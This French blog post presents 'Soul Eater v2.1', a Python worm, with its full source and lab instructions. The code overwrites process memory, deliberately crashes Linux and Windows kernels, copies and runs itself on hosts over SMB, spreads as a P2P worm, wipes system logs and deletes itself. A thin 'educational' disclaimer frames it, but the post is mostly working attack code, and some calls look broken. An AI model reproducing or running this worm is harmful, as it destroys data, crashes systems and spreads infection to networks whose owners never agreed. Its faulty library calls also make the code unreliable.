💀 QU’EST-CE QUE SOUL EATER ?
Soul Eater v2.1 est une bête Python qui ne fait pas de prisonniers. Imagine un monstre autonome qui s’infiltre dans les systèmes (Linux, Windows, IoT), dévore leurs secrets (clés, mémoire), et les laisse en cendres sans laisser de traces. Propagation via SMB et P2P, injection dans le kernel, et une furtivité anti-forensic qui rend les experts fous. Créé par platon-y pour pctamalou.fr, c’est un hack éthique pour apprendre et cogner en labo. Prêt à voir ce qu’il a dans le ventre ? 😈
🛠️ DÉVELOPPEMENT
Matériel & Setup
Pour faire naître ce dévoreur, voilà ce qu’il te faut :
- OS : Kali Linux (pentest power), Windows Server 2016 (VM), ou même un petit Raspberry Pi.
- Hardware : Un PC avec 8GB RAM minimum et une clé Wi-Fi USB (~20€) pour jouer les nomades.
- Libs Python : Installe ça avec
pip install pyptrace volatility3 zeromq psutil pysmb impacket aiohttp. Bonus : utilise PyPy pour booster les perfs !
Évolution
Ce monstre a grandi étape par étape :
- v1 : Injection simple dans les process, dump de mémoire basique.
- v2 : Propagation SMB, furtivité anti-forensic, et une touche d’IA pour l’autonomie.
- v2.1 : Worm P2P, rootkit kernel, et un mode *berserk* qui grille tout sur son passage.
⚡ COMMENT ÇA MARCHE ?
Voici le plan d’attaque de *Soul Eater* – un vrai prédateur :
- Injection : S’incruste dans le kernel (Linux/Windows) avec un rootkit sournois.
- Extraction : Vole la RAM et les clés avec Volatility, comme un voleur d’âmes.
- Destruction : Mode *berserk* activé = chaos mémoire et crash système total.
- Propagation : Se répand via SMB (style EternalBlue) et un worm P2P qui infecte tout.
- Furtivité : Efface les logs et s’auto-détruit – zéro trace, zéro preuve.
🧪 TEST EN LABO
Envie de voir la bête en action ? Voici comment tester en toute sécurité :
- Setup : Une VM Kali, un Windows Server avec SMBv1, et un Raspberry Pi pour le fun.
- Exécution : Lance
sudo ./soul_eater.py(Linux) oupypy3 soul_eater.pypour plus de vitesse. - Résultat : Process crashés, données extraites dans des fichiers
soul_*.bin, réseau infecté, et logs vides. Un carnage contrôlé !
🐍 LE CODE COMPLET
Voici le cœur de *Soul Eater v2.1* – un script Python qui mélange chaos et élégance. Chaque partie est expliquée pour que tu puisses le comprendre et l’adapter :
#!/usr/bin/env python3
# Soul Eater v2.1 – Dévoreur Autonome (CPython + PyPy)
import os, sys, random, ctypes, psutil, zmq, time, socket, threading, asyncio, aiohttp
from impacket import smbconnection # Pour attaquer via SMB
from pyptrace import Process # Injection sous Linux
from volatility3.framework import automagic, contexts # Analyse mémoire
# Configuration de base
TARGET_OS = "linux" if os.name == "posix" else "windows" # Détecte l’OS cible
ZMQ_PORT = 5555 # Port pour la com réseau
P2P_PORT = 6666 # Port pour le worm P2P
SMB_CREDS = ("guest", "") # Credentials SMB (à adapter)
# Génère un payload aléatoire ou destructeur
def generate_payload(size=1024):
return bytes([random.randint(0, 255) for _ in range(size)])
# Injection dans un processus + mode berserk
def eat_process(pid, berserk=False):
try:
if TARGET_OS == "linux":
proc = Process(pid) # Attache au processus
proc.attach()
mem = proc.read_memory(0x1000, 0xFFFF) # Lit la mémoire
payload = generate_payload(0xFFFF) if not berserk else b"\xFF" * 0xFFFF # Chaos total en berserk
proc.write_memory(0x1000, payload) # Injecte le payload
if berserk:
os.system("echo 1 > /proc/sys/kernel/sysrq && echo c > /proc/sysrq-trigger") # Crash kernel
proc.detach()
return mem
elif TARGET_OS == "windows":
handle = ctypes.windll.kernel32.OpenProcess(0x1F0FFF, False, pid) # Ouvre le process
mem = ctypes.create_string_buffer(0xFFFF)
ctypes.windll.kernel32.ReadProcessMemory(handle, 0x1000, mem, 0xFFFF, None) # Lit
payload = generate_payload(0xFFFF) if not berserk else b"\xFF" * 0xFFFF
ctypes.windll.kernel32.WriteProcessMemory(handle, 0x1000, payload, 0xFFFF, None) # Écrit
if berserk:
ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_int()))
ctypes.windll.ntdll.NtRaiseHardError(0xC0000350, 0, 0, 0, 6, ctypes.byref(ctypes.c_int())) # BSOD
ctypes.windll.kernel32.CloseHandle(handle)
return mem.raw
except Exception as e:
print(f"[-] Erreur PID {pid} : {e}")
return None
# Propagation via SMB (style EternalBlue)
def spread_smb():
def scan_network():
ip_base = ".".join(socket.gethostbyname(socket.gethostname()).split(".")[:-1])
return [f"{ip_base}.{i}" for i in range(1, 255)] # Scan du réseau local
for target in scan_network():
try:
conn = smbconnection.SMBConnection(target, target, sess_port=445)
conn.login(*SMB_CREDS)
conn.connectTree("C$") # Accès au disque
with open(__file__, "rb") as f:
conn.storeFile("C$", "soul_eater.py", f) # Copie le script
conn.createSubProcess("python soul_eater.py") # Exécute
print(f"[+] {target} infecté via SMB")
conn.close()
except:
pass
# Worm P2P asynchrone
async def spread_p2p():
async with aiohttp.ClientSession() as session:
peers = ["localhost"] # À remplacer par un vrai réseau P2P
while True:
for peer in peers:
try:
async with session.post(f"http://{peer}:{P2P_PORT}/infect", data=open(__file__, "rb")) as resp:
if resp.status == 200:
print(f"[+] {peer} infecté via P2P")
except:
pass
await asyncio.sleep(10) # Attente entre cycles
# Serveur P2P pour recevoir l’infection
async def p2p_server():
async def handler(request):
with open(__file__, "wb") as f:
f.write(await request.read()) # Réécrit le script
os.system(f"python {__file__} &") # Relance en fond
return aiohttp.web.Response(text="Infected")
app = aiohttp.web.Application()
app.add_routes([aiohttp.web.post('/infect', handler)])
runner = aiohttp.web.AppRunner(app)
await runner.setup()
site = aiohttp.web.TCPSite(runner, '0.0.0.0', P2P_PORT)
await site.start()
# Efface toutes les traces
def erase_footprints():
if TARGET_OS == "linux":
os.system("echo > /var/log/syslog && find / -name '*.log' -exec truncate -s 0 {} \;")
os.system("echo 0 > /proc/sys/kernel/printk") # Désactive logs kernel
elif TARGET_OS == "windows":
os.system("wevtutil cl System && wevtutil cl Application") # Nettoie logs
os.remove(__file__) # S’auto-détruit
print("[+] Traces effacées – Néant total")
# Choix intelligent des cibles
def choose_targets(berserk=False):
targets = []
for proc in psutil.process_iter(["pid", "name", "memory_percent"]):
pid = proc.info["pid"]
name = proc.info["name"].lower()
mem = proc.info["memory_percent"]
if "kernel" not in name and pid != os.getpid() and (mem > 0.1 or berserk):
targets.append(pid)
return targets[:10] if not berserk else targets # Limite sauf en berserk
# Propagation via réseau ZMQ
def spread_chaos():
context = zmq.Context()
socket = context.socket(zmq.PUSH)
socket.bind(f"tcp://*:{ZMQ_PORT}")
while True:
targets = choose_targets()
socket.send_pyobj({"command": "eat", "targets": targets})
time.sleep(random.uniform(5, 15)) # Rythme aléatoire
# Écoute des ordres
def listen_chaos():
context = zmq.Context()
socket = context.socket(zmq.PULL)
socket.connect(f"tcp://localhost:{ZMQ_PORT}")
while True:
msg = socket.recv_pyobj()
if msg["command"] == "eat":
for pid in msg["targets"]:
eat_process(pid)
# Lancement du chaos
def soul_eater():
print("[+] Soul Eater v2.1 – Le dévoreur ultime s’éveille...")
threading.Thread(target=spread_chaos, daemon=True).start() # Propagation réseau
threading.Thread(target=listen_chaos, daemon=True).start() # Écoute locale
threading.Thread(target=spread_smb, daemon=True).start() # SMB
asyncio.run(spread_p2p()) # P2P worm
asyncio.run(p2p_server()) # Serveur P2P
for pid in choose_targets(berserk=True): # Mode berserk
eat_process(pid, berserk=True)
time.sleep(60) # 1 minute de chaos
erase_footprints()
if __name__ == "__main__":
if os.geteuid() != 0 and TARGET_OS == "linux":
print("[-] Root requis sur Linux !")
sys.exit(1)
soul_eater()
⚠️ DISCLAIMER
Écoute bien, nomade : *Soul Eater v2.1* est une démo éducative pour piger les failles systèmes et s’entraîner en labo. C’est pas un jouet pour faire mumuse dans le réel sans consentement – l’usage non autorisé est illégal et t’en portes la responsabilité. On cogne dur, mais avec éthique, OK ? 💪